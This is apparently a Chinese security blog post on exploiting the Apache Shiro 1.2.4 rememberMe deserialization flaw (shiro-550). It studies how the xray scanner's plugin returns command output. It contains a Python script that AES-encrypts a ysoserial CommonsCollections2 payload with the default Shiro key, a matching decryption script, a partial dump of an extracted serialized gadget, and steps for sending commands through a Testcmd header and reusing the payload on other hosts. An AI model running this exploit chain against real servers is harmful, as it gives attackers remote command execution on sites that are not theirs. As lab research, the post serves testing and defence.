0x00 前言
上周五，xray社区公众号发布xray高级版更新公告，新增 shiro 插件，shiro 漏洞一键检测。文章链接（点我）
上图来源于微信公众号文章，可以看到，通过shiro-550这个神洞，可以将命令执行结果回显在响应包中。没错，它竟然回显了。
文章还介绍：
该插件内置长亭独有的反序列化研究成果
总结一下该插件亮点为:
内置独家 Java 反序列化利用链，有效作用于 shiro 环境
内置 Payload 支持全版本 Tomcat 回显，Tomcat 6,7,8,9 均通过测试
借助反连平台可以完美支持非 Tomcat 环境的漏洞检测
完整转置 ysoserial 至 Go 代码，无需 Java 依赖即可运行
自带 shiro 100 key，且支持通过配置文件自定义 shiro key
仔细想了想，这个独家Java反序列化利用链可能不会公布了，但我本人使用的高级版xray还是上个月xray社区一周年活动领取的，体验期只有两个月。又想一直“占有”这个shiro插件，故对其整个利用过程进行了简单研究，总结一个通用方法，达到同xray利用shiro相同的效果。
0x01 shiro rememberMe加解密过程
shiro RememeberMe 1.2.4反序列化漏洞这个漏洞原理不需要在这里多说，各大安全社区已经有很多分析文章，这里简单重复shiro 1.2.4及以下版本下默认cookie中rememberMe字段的生成过程：
1. 序列化恶意对象（payload）
2. 对序列化的数据进行AES加密
3. 将加密后的数据进行base64编码
4. 发送rememberMe cookie
贴一个加密码脚本：
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(payload,command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', payload, command], stdout=subprocess.PIPE)
BS = AES.block_size # 16
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "ikB3y6O9BpimrZLB3rca0w=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ysopayload = popen.stdout.read()
file_body = pad(ysopayload)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme('CommonsCollections2',sys.argv[1])
# print("rememberMe={}".format(payload.decode()))
with open("payload.cookie", "w") as fpw:
print("{}".format(payload.decode()), file=fpw)
这里需要注意的是，AES加密时，需要选择一个偏移向量IV，IV拼接在加密数据前（占16位），两者拼接后的数据经过base64编码后组成rememberMe cookie
同理，我们在Cookie中拿到rememberMe字段时，也可以依据以下的步骤进行解码，提取出有效关键的payload。
1. 获取rememberme cookie
2. base64 decode
3. 从第2步解码后的数据，前16位数据为加解密需要的iv，后面的数据为加密数据
4. 根据key、iv和加密模式（shiro中AES默认CBC）解密得到关键的序列化数据
贴一个简单的解密脚本：
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def decode_remember(remember):
iv = base64.b64decode(remember)[:16]
file_body = base64.b64decode(remember)[16:]
key = "ikB3y6O9BpimrZLB3rca0w=="
mode = AES.MODE_CBC
decryptor = AES.new(base64.b64decode(key), mode, iv)
result = decryptor.decrypt(file_body)
print(result)
with open("xray.cookie", "r") as f:
remember = f.readline().strip()
# print(remember)
decode_remember(remember)
得到这个序列化数据有啥用呢？文章开头就介绍了xray高级版对shiro550的“独家”回显利用，有了这个提取出来的关键的序列化数据，是不是就可以复用了？
0x02 xray高级版shiro插件使用
我们在本地搭建一个存在shiro550漏洞的靶场，演示下这个插件的利用过程。
上周五中午看到xray社区的文章，并没有介绍具体怎么使用这个插件。当我尝试使用xray对靶场进行shiro漏洞检测时，确实被检测出存在550这个漏洞：
./xray_windows_amd64.exe webscan --url "http://ip:port/login" --plugins shiro
漏洞是检测出来了，但说好的回显呢，还是我利用姿势不对？
我又翻出那篇社区文章，文章中显示的回显内容是在burp中，那就是要抓下这个过程的请求包。
打开xray配置文件config.yaml，找到下图中设置http代理的地方，将proxy字段设置为本地burp监听的端口（如：127.0.0.1:8080）
打开burp监听，启动xray：
可以看到xray的请求过程可以分为四步：
1. 访问给定的url，是否可以正常访问
2. xray默认访问index.php
3. 继续访问给定的url，同时带上rememberMe cookie，观察响应包中是否存在deleteMe关键字
4. 从100个key中选择，构造payload通过rememberMe cookie发送过去，并添加请求头Testecho（用于判断），看响应包中是否有预期的值
第四步我们可以再深入看下
cookie中的payload和Testecho请求头一起发送出去，在响应包中判断是否存在漏洞（Testecho的值并没有影响）。
命令执行回显
在请求头中添加Testcmd，值为要执行的命令：
很愉快得看到了回显，这样利用起来真的不要太方便！
0x03 对该插件进行复用
这个请求包对其他网站是否也适用呢？
我又搭建了一个后端存在shiro-550漏洞，网站功能区别于前一个靶场。xray也检测出存在相关的漏洞，所用的KEY也是一样。
我们经过前面的分析，知道了rememberMe cookie中的数据是经过key进行加密的（于iv无关），两个靶场的shiro key都是一样，那这个payload是不是可以原封不动地利用呢？
于是乎，我把这个请求包中的请求target、Host请求头进行修改，同样得到了命令回显结果，简直不要太舒服好吗。
认真观看上面两张结果截图的师傅可能发现了，这两个靶场都是Windows系统的，那Linux系统也可以复用吗？（狗头）
废话不多说，直接上Linux靶场，shiro的key还是同前面两种情况一样，改请求target、Host请求头一把梭：
太强了！Linux下同样适用。
0x04 提取关键payload
前面已经尝试了三种情况的靶场，都没问题。但三个靶场的key都是一样，要是以后碰到的目标key不同，那就不能直接梭了。
我们在前面的利用过程中，是已经知道shiro key的值，默认的加密模式是CBC，iv也可以从rememberMe的前16位提取出来，那这样就可以直接解密出关键payload，留着以后复用。
解密脚本在本文0x02中有贴出来。
解密出来关键序列化payload：
b'xacxedx00x05srx00x11java.util.HashMapx05x07xdaxc1xc3x16`xd1x03x00x02Fx00nloadFactorIx00tthresholdxp?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x01srx004org.apache.commons.collections.keyvalue.TiedMapEntryx8axadxd2x9b9xc1x1fxdbx02x00x02Lx00x03keytx00x12Ljava/lang/Object;Lx00x03maptx00x0fLjava/util/Map;xpsrx00:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpltWOxc1nxacxab3x03x00x08Ix00r_indentNumberIx00x0e_transletIndexZx00x15_useServicesMechanismLx00x0b_auxClassestx00;Lcom/sun/org/apache/xalan/internal/xsltc/runt
···
···
···
x0enewTransformerurx00x12[Ljava.lang.Class;xabx16xd7xaexcbxcdZx99x02x00x00xpx00x00x00x00sqx00~x00x00?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x00xxtx00x01txx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0f'
最后面0xf个’0xf’为AES加密前对数据的填充。
这样，以后碰到存在漏洞的shiro站后，可以用shirotools或者shiroexploit探测下，确认使用的KEY，再用这个key加密上面得到的序列化数据，就可以继续复用了。
很美好是不是，稍等。长亭说用的是独家的回显gadget，那他们这个gadget有多少个？
0x05 使用过程中存在的问题
经过试验，我一直使用上面测试过的gadget，基本上很多情况都可以直接打。但也有碰到shiroexploit能检测出来并且DnsLog有回显，xray没有检测出来的情况。这个问题应该是跟xray的实现有关。
我们平时利用shiro 550这个漏洞时，会用dnslog进行检测，前面我们看到了xray整个请求发包过程，是用的Testecho这个请求头，根据响应包中的内容判断是不是存在漏洞（完全是我个人的猜测，如有误，请批评指正！），这样可能对自己的gadget太过自信了，就导致shiroexploit检测出来，而xray却漏了。（再次声明，这完全是我本人的猜测。）
总之，长亭的师傅们太强了！xray真香，本菜鸡也要赶紧提交五个poc，争取早日换取高级版xray。